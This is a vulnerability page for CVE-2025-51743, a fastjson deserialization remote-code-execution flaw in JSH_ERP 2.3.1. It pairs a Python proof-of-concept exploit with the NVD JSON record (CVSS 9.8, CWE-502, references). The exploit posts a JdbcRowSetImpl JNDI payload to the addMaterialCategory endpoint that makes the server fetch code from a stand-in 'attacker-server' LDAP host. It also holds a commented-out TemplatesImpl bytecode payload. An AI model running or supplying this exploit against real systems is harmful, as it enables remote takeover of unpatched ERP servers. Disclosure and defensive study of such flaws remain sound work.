CVE-2025-51743

import requests import json # CVE-2025-51743 PoC - JSH_ERP fastjson deserialization RCE # Target: JSH_ERP /materialCategory/addMaterialCategory endpoint target_url = "http://target-server:8080/materialCategory/addMaterialCategory" # Malicious fastjson payload for JNDI injection # This payload exploits fastjson deserialization to trigger RCE via JNDI lookup payload = { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://attacker-server:1389/Exploit", "autoCommit": True } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } print("[*] Sending CVE-2025-51743 exploit payload...") print(f"[*] Target: {target_url}") print(f"[*] Payload: {json.dumps(payload)}") try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Alternative payload using TemplatesImpl # payload2 = { # "@type": "com.alibaba.fastjson.parser.ParserConfig", # "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", # "_bytecodes": ["base64_encoded_malicious_class"], # "_name": "poc", # "_tfactory": {}, # "_outputProperties": {} # }

{"cve": {"id": "CVE-2025-51743", "sourceIdentifier": "[email protected]", "published": "2025-11-25T21:15:55.877", "lastModified": "2025-12-02T15:13:31.537", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in jishenghua JSH_ERP 2.3.1. The /materialCategory/addMaterialCategory endpoint is vulnerable to fastjson deserialization attacks."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jishenghua:jsherp:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.3.1", "matchCriteriaId": "425A1CE4-66CE-4BC9-8CB9-58DCE58F1E0F"}]}]}], "references": [{"url": "https://blog.hackpax.top/jsh-erp2/", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://gist.github.com/Paxsizy/cd1557aeba8093a8650601c4dbffb6f9", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gitee.com/jishenghua", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gitee.com/jishenghua/JSH_ERP", "source": "[email protected]", "tags": ["Product"]}]}}